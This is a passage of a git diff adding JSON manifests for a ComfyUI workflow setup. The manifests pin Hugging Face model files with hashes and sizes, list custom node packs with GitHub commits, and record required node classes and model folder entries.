+ },
+ "https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/main/clip_l.safetensors": {
+ "revision": "6af2a98e3f615bdfa612fbd85da93d1ed5f69ef5",
+ "sizeBytes": 246144152,
+ "sha256": "660c6f5b1abae9dc498ac2d21e1347d2abdb0cf6c0c0c8576cd796491d9a6cdd"
+ },
+ "https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/main/t5xxl_fp16.safetensors": {
+ "revision": "6af2a98e3f615bdfa612fbd85da93d1ed5f69ef5",
+ "sizeBytes": 9787841024,
+ "sha256": "6e480b09fae049a72d2a8c5fbccb8d3e92febeb233bbe9dfe7256958a9167635"
+ },
+ "https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/main/t5xxl_fp8_e4m3fn_scaled.safetensors": {
+ "revision": "6af2a98e3f615bdfa612fbd85da93d1ed5f69ef5",
+ "sizeBytes": 5157348688,
+ "sha256": "a498f0485dc9536735258018417c3fd7758dc3bccc0a645feaa472b34955557a"
+ },
+ "https://huggingface.co/datasets/Gourieff/ReActor/resolve/main/models/facerestore_models/GFPGANv1.4.pth": {
+ "revision": "079e0e459cd4261bbcba8c71d47df54a4ded7642",
+ "sizeBytes": 348632874,
+ "sha256": "e2cd4703ab14f4d01fd1383a8a8b266f9a5833dacee8e6a79d3bf21a1b6be5ad"
+ },
+ "https://huggingface.co/datasets/Gourieff/ReActor/resolve/main/models/inswapper_128.onnx": {
+ "revision": "079e0e459cd4261bbcba8c71d47df54a4ded7642",
+ "sizeBytes": 554253681,
+ "sha256": "e4a3f08c753cb72d04e10aa0f7dbe3deebbf39567d4ead6dce08e98aa49e16af"
+ },
+ "https://huggingface.co/dx8152/Qwen-Edit-2509-Multiple-angles/resolve/c342b0e746c3a3275af1a4a0c6ae78e0e4802531/%E9%95%9C%E5%A4%B4%E8%BD%AC%E6%8D%A2.safetensors": {
+ "revision": "c342b0e746c3a3275af1a4a0c6ae78e0e4802531",
+ "sizeBytes": 236117032,
+ "sha256": "e0cea9508025a39e41f50da0e7d10fbd9db182d057c745136a42ef8829914c8f"
+ },
+ "https://huggingface.co/lightx2v/Minimax-h3-Turbo/resolve/3ec17a324ced54151364f24f8b5fb6bf7e26414f/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors": {
+ "revision": "3ec17a324ced54151364f24f8b5fb6bf7e26414f",
+ "sizeBytes": 1956193000,
+ "sha256": "08cfe946033af7d27719b964b6e0a0e50c32138daabbd6ce4137e23df6bf9980"
+ },
+ "https://huggingface.co/lightx2v/Qwen-Image-2512-Lightning/resolve/main/Qwen-Image-2512-Lightning-4steps-V1.0-fp32.safetensors": {
+ "revision": "4609161e308ce82018a42c2a0c9b107e865bb751",
+ "sizeBytes": 1698951104,
+ "sha256": "ad12117461cb41e2ea637fec8df6392ce8e8550c47fbe2b829ed3deb98262066"
+ },
+ "https://huggingface.co/lightx2v/Qwen-Image-Edit-2511-Lightning/resolve/main/Qwen-Image-Edit-2511-Lightning-4steps-V1.0-bf16.safetensors": {
+ "revision": "107d238d68b8387e32843d0b4a2e24ceb0d3ad86",
+ "sizeBytes": 849608296,
+ "sha256": "22226e8d05d354bb356627d428809f5afd7819399b077238a2b70a82883a904f"
+ },
+ "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors": {
+ "revision": "d468c534b360e0754c6bf9e38ed49e1e09cd2e2a",
+ "sizeBytes": 849608296,
+ "sha256": "2a32ce938ec71db2b49a817b4844ae86995569518dea56ee0ddc209cbe8e1377"
+ },
+ "https://huggingface.co/lovis93/next-scene-qwen-image-lora-2509/resolve/main/next-scene_lora-v2-3000.safetensors": {
+ "revision": "9b9da698b8a5370efd875f18b1727cc1119f3863",
+ "sizeBytes": 295146176,
+ "sha256": "8abf2306649a62282f89968515097650acaf7b040687c9b6c56e37558e6df9e1"
+ },
+ "https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/main/hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors": {
+ "revision": "f94bbf32576f02b37715f54cdba3a5e82910dde7",
+ "sizeBytes": 3754152400,
+ "sha256": "37df8a9ad46a9b52f8e073e3d71394e40352478400369ba7db56d793dd0e99b4"
+ },
+ "https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/main/synchformer_state_dict_fp16.safetensors": {
+ "revision": "f94bbf32576f02b37715f54cdba3a5e82910dde7",
+ "sizeBytes": 474981066,
+ "sha256": "4876e7dc86cd255bcf79540d93838362aed2e8a9d6f4574a92728c9fc699f511"
+ },
+ "https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/main/vae_128d_48k_fp16.safetensors": {
+ "revision": "f94bbf32576f02b37715f54cdba3a5e82910dde7",
+ "sizeBytes": 743210820,
+ "sha256": "216fdd5a4c9774417b209a5d1754db5326c9f47375b232cce1333c13b3f239ab"
+ },
+ "https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_base_1.0.safetensors": {
+ "revision": "462165984030d82259a11f4367a4eed129e94a7b",
+ "sizeBytes": 6938078334,
+ "sha256": "31e35c80fc4829d14f90153f4c74cd59c90b779f6afe05a74cd6120b893f7e5b"
+ },
+ "https://huggingface.co/vrgamedevgirl84/Wan14BT2VFusioniX/resolve/b9793a1f84727f2f69bdffecc2f50f0abfa746a6/FusionX_LoRa/Wan2.1_I2V_14B_FusionX_LoRA.safetensors": {
+ "revision": "b9793a1f84727f2f69bdffecc2f50f0abfa746a6",
+ "sizeBytes": 371128616,
+ "sha256": "0eb5df85d5bc5fba32966de8b357c7643413219479605cc933412b60305c01f8"
+ },
+ "https://huggingface.co/xocialize/tryon-FLUX.2-klein-4B-lora/resolve/main/tryon-klein-4b.safetensors": {
+ "revision": "5e590220c687190a3d8dc66d173570f9de097984",
+ "sizeBytes": 92426760,
+ "sha256": "e251c836b4792910cb322317f58a91063f73bef7255031912886af840dc7dd43"
+ }
+}
diff --git a/workflows/comfyui/packs.json b/workflows/comfyui/packs.json
new file mode 100644
index 00000000..dd3cd662
--- /dev/null
+++ b/workflows/comfyui/packs.json
@@ -0,0 +1,173 @@
+{
+ "ComfyUI-Frame-Interpolation": {
+ "repo": "https://github.com/Fannovel16/ComfyUI-Frame-Interpolation",
+ "commit": "26545cc2dd95bc3d27f056016300673bdeee78f5",
+ "registry": { "id": "comfyui-frame-interpolation", "version": "" },
+ "requirementsTxt": false,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-HunyuanVideo-Foley": {
+ "repo": "https://github.com/phazei/ComfyUI-HunyuanVideo-Foley",
+ "commit": "afd2960b8ad9036a9f55a15daf514112ff68e010",
+ "registry": { "id": "ComfyUI-HunyuanVideo-Foley", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": ["foley"]
+ },
+ "ComfyUI-IndexTTS2": {
+ "repo": "https://github.com/snicolast/ComfyUI-IndexTTS2",
+ "commit": "5b33e02bc0112b8aaf1fc823d5e5a609ca07fc27",
+ "registry": null,
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-KJNodes": {
+ "repo": "https://github.com/kijai/ComfyUI-KJNodes",
+ "commit": "17195fcfa8a05f601b766a0f09c9733284f47416",
+ "registry": { "id": "comfyui-kjnodes", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-LatentSyncWrapper": {
+ "repo": "https://github.com/ShmuelRonen/ComfyUI-LatentSyncWrapper",
+ "commit": "360d5283d7276aee68b4237b1387e594e4ce640e",
+ "registry": null,
+ "requirementsTxt": true,
+ "isolated": true,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-MMAudio": {
+ "repo": "https://github.com/kijai/ComfyUI-MMAudio",
+ "commit": "8eaeb72edc3aaf2059b57f2d96a1f6f689f19ae2",
+ "registry": { "id": "comfyui-mmaudio", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": ["mmaudio"]
+ },
+ "ComfyUI-MelBandRoFormer": {
+ "repo": "https://github.com/kijai/ComfyUI-MelBandRoFormer",
+ "commit": "92c86854e6654f4aacc97484471af95c98ea16d4",
+ "registry": { "id": "ComfyUI-MelBandRoFormer", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-QwenASR": {
+ "repo": "https://github.com/1038lab/ComfyUI-QwenASR",
+ "commit": "3f9a652a617e578e4e3bd090e3dbc75274bf4775",
+ "registry": { "id": "ComfyUI-QwenASR", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-RMBG": {
+ "repo": "https://github.com/1038lab/ComfyUI-RMBG",
+ "commit": "229529e0ea63fb7085848225d74f91f6dc164956",
+ "registry": { "id": "comfyui-rmbg", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-ReActor": {
+ "repo": "https://github.com/Gourieff/ComfyUI-ReActor",
+ "commit": "3be5f356fe5b120a7a274d2509c0ecef5d0a7498",
+ "registry": { "id": "comfyui-reactor", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": ["facerestore_models", "insightface"]
+ },
+ "ComfyUI-ThinkSound_Wrapper": {
+ "repo": "https://github.com/ShmuelRonen/ComfyUI-ThinkSound_Wrapper",
+ "commit": "9a2fb40ae30cabbdb55fb6f6fe02b01c23ab1a3b",
+ "registry": null,
+ "requirementsTxt": true,
+ "isolated": true,
+ "subdir": null,
+ "folders": ["thinksound"]
+ },
+ "ComfyUI-ToSVG": {
+ "repo": "https://github.com/Yanick112/ComfyUI-ToSVG",
+ "commit": "1022ba05318dccb4fe586ce5bbd09f1f0b3c7909",
+ "registry": { "id": "comfyui-tosvg", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-Video-Depth-Anything": {
+ "repo": "https://github.com/yuvraj108c/ComfyUI-Video-Depth-Anything",
+ "commit": "a0db08e63d1ea571601c45cde4aaee0acdd0544d",
+ "registry": { "id": "ComfyUI-Video-Depth-Anything", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-VideoHelperSuite": {
+ "repo": "https://github.com/Kosinkadink/ComfyUI-VideoHelperSuite",
+ "commit": "4d907bee61e92c2e65af3bd6383a4e4d356126d1",
+ "registry": { "id": "comfyui-videohelpersuite", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-WanVideoWrapper": {
+ "repo": "https://github.com/kijai/ComfyUI-WanVideoWrapper",
+ "commit": "088128b224242e110d3906c6750e9a3a348a659b",
+ "registry": { "id": "ComfyUI-WanVideoWrapper", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI-Whisper": {
+ "repo": "https://github.com/yuvraj108c/ComfyUI-Whisper",
+ "commit": "006a709848259ed3d69e2f9fcfd7a75f6c860ddd",
+ "registry": { "id": "ComfyUI-Whisper", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "ComfyUI_Fill-ChatterBox": {
+ "repo": "https://github.com/filliptm/ComfyUI_Fill-ChatterBox",
+ "commit": "f7d7a16187430abcaf91a3039b9c83aa9960816a",
+ "registry": { "id": "comfyui_fill-chatterbox", "version": "" },
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "h3-relay": {
+ "repo": "https://github.com/akatz-ai/h3-relay",
+ "commit": "e2a7665b6eb8ea37a88c0de2c9c6b69a8f7c9220",
+ "registry": { "id": "h3-relay", "version": "" },
+ "requirementsTxt": false,
+ "isolated": false,
+ "subdir": null,
+ "folders": []
+ },
+ "h3_character_swap": {
+ "repo": "https://github.com/akatz-labs/h3-character-swap-tool",
+ "commit": "0670e4fdf95adf2262caa4b81afed2a9c4ae4b7b",
+ "registry": null,
+ "requirementsTxt": true,
+ "isolated": false,
+ "subdir": "worker_nodes/h3_character_swap",
+ "folders": []
+ }
+}
diff --git a/workflows/comfyui/requirements.json b/workflows/comfyui/requirements.json
new file mode 100644
index 00000000..df583980
--- /dev/null
+++ b/workflows/comfyui/requirements.json
@@ -0,0 +1,338 @@
+{
+ "v": 1,
+ "hash": "6f5653de0ecdc0b421349d88222c48d8329a897f11a7a02b705046bba11ceee9",
+ "comfyui": {"min":"0.41.0","testedCommit":"fc04da91"},
+ "folders": ["audio_encoders","background_removal","checkpoints","clip_vision","diffusion_models","facerestore_models","foley","frame_interpolation","geometry_estimation","insightface","latent_upscale_models","loras","mmaudio","model_patches","optical_flow","text_encoders","thinksound","upscale_models","vae"],
+ "sentinels": ["AILab_Qwen3ASRSubtitle","Add Subtitles To Frames","Apply Whisper","ClothesSegment","ComfyMathExpression","DownloadAndLoadWav2VecModel","FL_ChatterboxDialogTTS","FL_ChatterboxMultilingualTTS","FL_ChatterboxVC","GetImageRangeFromBatch","GetImageSizeAndCount","GrowMaskWithBlur","H3CharacterSwapAssemble","H3CharacterSwapController","H3CharacterSwapExpandMask","H3CharacterSwapModels","H3CharacterSwapPrepareVideo","H3CharacterSwapRecoverMasks","H3CharacterSwapSelectSubject","H3CharacterSwapSettings","H3CharacterSwapShot","H3CharacterSwapWindowPlan","H3RelayAppendWindow","H3RelayApplyEditMask","H3RelayApplyHistory","H3RelayExpandMask","H3RelayFinishWindows","H3RelayPrepareSource","H3RelayRecoverMasks","H3RelayReviewWindows","H3RelaySamplingMemory","H3RelaySelectMask","H3RelayTextMemory","H3RelayWindowInputs","H3RelayWindowPlan","HunyuanDependenciesLoader","HunyuanFoleySampler","HunyuanModelLoader","INTConstant","ImageBatchExtendWithOverlap","ImageGridtoBatch","ImageResizeKJv2","IndexTTS2Simple","LTXAVTextEncoderLoader","LTXVAddGuide","LTXVAudioVAEDecode","LTXVAudioVAELoader","LTXVConcatAVLatent","LTXVConditioning","LTXVCropGuides","LTXVDualCFGGuider","LTXVEmptyLatentAudio","LTXVImgToVideoInplace","LTXVLatentUpsampler","LTXVPreprocess","LTXVScheduler","LTXVSeparateAVLatent","LatentSyncNode","LoadBackgroundRemovalModel","LoadVideoDepthAnythingModel","MMAudioFeatureUtilsLoader","MMAudioModelLoader","MMAudioSampler","MelBandRoFormerModelLoader","MelBandRoFormerSampler","MultiTalkModelLoader","MultiTalkWav2VecEmbeds","RIFE VFI","RMBG","ReActorFaceSwap","RemoveBackground","SAM3_Detect","SAM3_TrackToMask","SAM3_VideoTrack","SeedVR2Conditioning","SeedVR2PostProcessing","SeedVR2Preprocess","TS_ImageToSVGStringColor_Vtracer","TS_SVGStringToSVGBytesIO","ThinkSoundFeatureUtilsLoader","ThinkSoundModelLoader","ThinkSoundSampler","Trellis2Conditioning","Trellis2ShapeStage","Trellis2TextureStage","Trellis2UpsampleStage","VHS_BatchManager","VHS_LoadAudioUpload","VHS_LoadVideo","VHS_SelectEveryNthImage","VHS_VideoCombine","VHS_VideoInfo","VHS_VideoInfoLoaded","VideoDepthAnythingOutput","VideoDepthAnythingProcess","VideoLengthAdjuster","WanVideoBlockSwap","WanVideoClipVisionEncode","WanVideoDecode","WanVideoEncode","WanVideoImageToVideoMultiTalk","WanVideoLoraSelect","WanVideoModelLoader","WanVideoPassImagesFromSamples","WanVideoSampler","WanVideoTextEncodeCached","WanVideoVAELoader"],
+ "packs": {
+ "ComfyUI-Frame-Interpolation": {"repo":"https://github.com/Fannovel16/ComfyUI-Frame-Interpolation","commit":"26545cc2dd95bc3d27f056016300673bdeee78f5","registry":{"id":"comfyui-frame-interpolation","version":""},"classes":["RIFE VFI"],"folders":[],"isolated":false,"requirementsTxt":false,"install":"manual"},
+ "ComfyUI-HunyuanVideo-Foley": {"repo":"https://github.com/phazei/ComfyUI-HunyuanVideo-Foley","commit":"afd2960b8ad9036a9f55a15daf514112ff68e010","registry":{"id":"ComfyUI-HunyuanVideo-Foley","version":""},"classes":["HunyuanDependenciesLoader","HunyuanFoleySampler","HunyuanModelLoader"],"folders":["foley"],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-IndexTTS2": {"repo":"https://github.com/snicolast/ComfyUI-IndexTTS2","commit":"5b33e02bc0112b8aaf1fc823d5e5a609ca07fc27","classes":["IndexTTS2Simple"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-KJNodes": {"repo":"https://github.com/kijai/ComfyUI-KJNodes","commit":"17195fcfa8a05f601b766a0f09c9733284f47416","registry":{"id":"comfyui-kjnodes","version":""},"classes":["GetImageRangeFromBatch","GetImageSizeAndCount","GrowMaskWithBlur","INTConstant","ImageBatchExtendWithOverlap","ImageGridtoBatch","ImageResizeKJv2"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-LatentSyncWrapper": {"repo":"https://github.com/ShmuelRonen/ComfyUI-LatentSyncWrapper","commit":"360d5283d7276aee68b4237b1387e594e4ce640e","classes":["LatentSyncNode","VideoLengthAdjuster"],"folders":[],"isolated":true,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-MMAudio": {"repo":"https://github.com/kijai/ComfyUI-MMAudio","commit":"8eaeb72edc3aaf2059b57f2d96a1f6f689f19ae2","registry":{"id":"comfyui-mmaudio","version":""},"classes":["MMAudioFeatureUtilsLoader","MMAudioModelLoader","MMAudioSampler"],"folders":["mmaudio"],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-MelBandRoFormer": {"repo":"https://github.com/kijai/ComfyUI-MelBandRoFormer","commit":"92c86854e6654f4aacc97484471af95c98ea16d4","registry":{"id":"ComfyUI-MelBandRoFormer","version":""},"classes":["MelBandRoFormerModelLoader","MelBandRoFormerSampler"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-QwenASR": {"repo":"https://github.com/1038lab/ComfyUI-QwenASR","commit":"3f9a652a617e578e4e3bd090e3dbc75274bf4775","registry":{"id":"ComfyUI-QwenASR","version":""},"classes":["AILab_Qwen3ASRSubtitle"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-RMBG": {"repo":"https://github.com/1038lab/ComfyUI-RMBG","commit":"229529e0ea63fb7085848225d74f91f6dc164956","registry":{"id":"comfyui-rmbg","version":""},"classes":["ClothesSegment","RMBG"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-ReActor": {"repo":"https://github.com/Gourieff/ComfyUI-ReActor","commit":"3be5f356fe5b120a7a274d2509c0ecef5d0a7498","registry":{"id":"comfyui-reactor","version":""},"classes":["ReActorFaceSwap"],"folders":["facerestore_models","insightface"],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-ThinkSound_Wrapper": {"repo":"https://github.com/ShmuelRonen/ComfyUI-ThinkSound_Wrapper","commit":"9a2fb40ae30cabbdb55fb6f6fe02b01c23ab1a3b","classes":["ThinkSoundFeatureUtilsLoader","ThinkSoundModelLoader","ThinkSoundSampler"],"folders":["thinksound"],"isolated":true,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-ToSVG": {"repo":"https://github.com/Yanick112/ComfyUI-ToSVG","commit":"1022ba05318dccb4fe586ce5bbd09f1f0b3c7909","registry":{"id":"comfyui-tosvg","version":""},"classes":["TS_ImageToSVGStringColor_Vtracer","TS_SVGStringToSVGBytesIO"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-Video-Depth-Anything": {"repo":"https://github.com/yuvraj108c/ComfyUI-Video-Depth-Anything","commit":"a0db08e63d1ea571601c45cde4aaee0acdd0544d","registry":{"id":"ComfyUI-Video-Depth-Anything","version":""},"classes":["LoadVideoDepthAnythingModel","VideoDepthAnythingOutput","VideoDepthAnythingProcess"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-VideoHelperSuite": {"repo":"https://github.com/Kosinkadink/ComfyUI-VideoHelperSuite","commit":"4d907bee61e92c2e65af3bd6383a4e4d356126d1","registry":{"id":"comfyui-videohelpersuite","version":""},"classes":["VHS_BatchManager","VHS_LoadAudioUpload","VHS_LoadVideo","VHS_SelectEveryNthImage","VHS_VideoCombine","VHS_VideoInfo","VHS_VideoInfoLoaded"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-WanVideoWrapper": {"repo":"https://github.com/kijai/ComfyUI-WanVideoWrapper","commit":"088128b224242e110d3906c6750e9a3a348a659b","registry":{"id":"ComfyUI-WanVideoWrapper","version":""},"classes":["DownloadAndLoadWav2VecModel","MultiTalkModelLoader","MultiTalkWav2VecEmbeds","WanVideoBlockSwap","WanVideoClipVisionEncode","WanVideoDecode","WanVideoEncode","WanVideoImageToVideoMultiTalk","WanVideoLoraSelect","WanVideoModelLoader","WanVideoPassImagesFromSamples","WanVideoSampler","WanVideoTextEncodeCached","WanVideoVAELoader"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI-Whisper": {"repo":"https://github.com/yuvraj108c/ComfyUI-Whisper","commit":"006a709848259ed3d69e2f9fcfd7a75f6c860ddd","registry":{"id":"ComfyUI-Whisper","version":""},"classes":["Add Subtitles To Frames","Apply Whisper"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "ComfyUI_Fill-ChatterBox": {"repo":"https://github.com/filliptm/ComfyUI_Fill-ChatterBox","commit":"f7d7a16187430abcaf91a3039b9c83aa9960816a","registry":{"id":"comfyui_fill-chatterbox","version":""},"classes":["FL_ChatterboxDialogTTS","FL_ChatterboxMultilingualTTS","FL_ChatterboxVC"],"folders":[],"isolated":false,"requirementsTxt":true,"install":"manual"},
+ "h3-relay": {"repo":"https://github.com/akatz-ai/h3-relay","commit":"e2a7665b6eb8ea37a88c0de2c9c6b69a8f7c9220","registry":{"id":"h3-relay","version":""},"classes":["H3RelayAppendWindow","H3RelayApplyEditMask","H3RelayApplyHistory","H3RelayExpandMask","H3RelayFinishWindows","H3RelayPrepareSource","H3RelayRecoverMasks","H3RelayReviewWindows","H3RelaySamplingMemory","H3RelaySelectMask","H3RelayTextMemory","H3RelayWindowInputs","H3RelayWindowPlan"],"folders":[],"isolated":false,"requirementsTxt":false,"install":"manual"},
+ "h3_character_swap": {"repo":"https://github.com/akatz-labs/h3-character-swap-tool","commit":"0670e4fdf95adf2262caa4b81afed2a9c4ae4b7b","classes":["H3CharacterSwapAssemble","H3CharacterSwapController","H3CharacterSwapExpandMask","H3CharacterSwapModels","H3CharacterSwapPrepareVideo","H3CharacterSwapRecoverMasks","H3CharacterSwapSelectSubject","H3CharacterSwapSettings","H3CharacterSwapShot","H3CharacterSwapWindowPlan"],"folders":[],"isolated":false,"subdir":"worker_nodes/h3_character_swap","requirementsTxt":true,"install":"manual"}
+ },
+ "files": {
+ "audio_encoders/wav2vec2-chinese-base_fp16.safetensors": {"folder":"audio_encoders","file":"wav2vec2-chinese-base_fp16.safetensors","url":"https://huggingface.co/Kijai/wav2vec2_safetensors/resolve/main/wav2vec2-chinese-base_fp16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/wav2vec2_safetensors/resolve/87847d3bc53702afda44078249e7c33e867827c4/wav2vec2-chinese-base_fp16.safetensors","sizeBytes":190115368,"gated":false,"presence":"loader","loaders":[["AudioEncoderLoader","audio_encoder_name"]]},
+ "audio_encoders/wav2vec2_large_english_fp16.safetensors": {"folder":"audio_encoders","file":"wav2vec2_large_english_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/audio_encoders/wav2vec2_large_english_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/audio_encoders/wav2vec2_large_english_fp16.safetensors","sizeBytes":630997322,"gated":false,"presence":"loader","loaders":[["AudioEncoderLoader","audio_encoder_name"]]},
+ "background_removal/birefnet.safetensors": {"folder":"background_removal","file":"birefnet.safetensors","url":"https://huggingface.co/Comfy-Org/BiRefNet/resolve/main/background_removal/birefnet.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/BiRefNet/resolve/884af709e9b795d89dafbf97f29c8d6a2386f5c6/background_removal/birefnet.safetensors","sizeBytes":444473596,"gated":false,"presence":"loader","loaders":[["LoadBackgroundRemovalModel","bg_removal_name"]]},
+ "checkpoints/ace_step_1.5_turbo_aio.safetensors": {"folder":"checkpoints","file":"ace_step_1.5_turbo_aio.safetensors","url":"https://huggingface.co/Comfy-Org/ace_step_1.5_ComfyUI_files/resolve/main/checkpoints/ace_step_1.5_turbo_aio.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/ace_step_1.5_ComfyUI_files/resolve/371bb1680f8c88d8c1083f6ffb6330d3d55bff76/checkpoints/ace_step_1.5_turbo_aio.safetensors","sizeBytes":10025478736,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"]]},
+ "checkpoints/flux1-dev-fp8.safetensors": {"folder":"checkpoints","file":"flux1-dev-fp8.safetensors","url":"https://huggingface.co/Comfy-Org/flux1-dev/resolve/main/flux1-dev-fp8.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux1-dev/resolve/10cf201a3d49f7ff4de84d6a97d6a32cdfa8cb86/flux1-dev-fp8.safetensors","sizeBytes":17246524772,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"]]},
+ "checkpoints/hunyuan_3d_v2.1.safetensors": {"folder":"checkpoints","file":"hunyuan_3d_v2.1.safetensors","url":"https://huggingface.co/Comfy-Org/hunyuan3D_2.1_repackaged/resolve/main/hunyuan_3d_v2.1.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/hunyuan3D_2.1_repackaged/resolve/d28dcff0eb85a3740955e24cb1d53def66591278/hunyuan_3d_v2.1.safetensors","sizeBytes":7365943290,"gated":false,"presence":"loader","loaders":[["ImageOnlyCheckpointLoader","ckpt_name"]]},
+ "checkpoints/ltx-2-19b-dev-fp8.safetensors": {"folder":"checkpoints","file":"ltx-2-19b-dev-fp8.safetensors","url":"https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-dev-fp8.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2/resolve/64f65d09e0b76c96202b5bc09997673184cf9b5d/ltx-2-19b-dev-fp8.safetensors","sizeBytes":27078716018,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"],["LTXAVTextEncoderLoader","ckpt_name"],["LTXVAudioVAELoader","ckpt_name"]]},
+ "checkpoints/ltx-2.3-22b-distilled-fp8.safetensors": {"folder":"checkpoints","file":"ltx-2.3-22b-distilled-fp8.safetensors","url":"https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/main/ltx-2.3-22b-distilled-fp8.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/91eda216f820e5ecb3d17dc9fe3b7cdaf56b587d/ltx-2.3-22b-distilled-fp8.safetensors","sizeBytes":29531884062,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"],["LTXAVTextEncoderLoader","ckpt_name"],["LTXVAudioVAELoader","ckpt_name"]]},
+ "checkpoints/sam3.1_multiplex_fp16.safetensors": {"folder":"checkpoints","file":"sam3.1_multiplex_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/sam3.1/resolve/7bb8374780a725b4353ed31f3a9395c9742b5621/checkpoints/sam3.1_multiplex_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/sam3.1/resolve/7bb8374780a725b4353ed31f3a9395c9742b5621/checkpoints/sam3.1_multiplex_fp16.safetensors","sizeBytes":1745546848,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"]]},
+ "checkpoints/sd_xl_base_1.0.safetensors": {"folder":"checkpoints","file":"sd_xl_base_1.0.safetensors","url":"https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_base_1.0.safetensors","pinnedUrl":"https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/462165984030d82259a11f4367a4eed129e94a7b/sd_xl_base_1.0.safetensors","sizeBytes":6938078334,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"]]},
+ "checkpoints/stable-audio-open-1.0.safetensors": {"folder":"checkpoints","file":"stable-audio-open-1.0.safetensors","url":"https://huggingface.co/Comfy-Org/stable-audio-open-1.0_repackaged/resolve/main/stable-audio-open-1.0.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/stable-audio-open-1.0_repackaged/resolve/3eb100708b423cf59fc5bf2a152f5cc1e7718062/stable-audio-open-1.0.safetensors","sizeBytes":4853889016,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"]]},
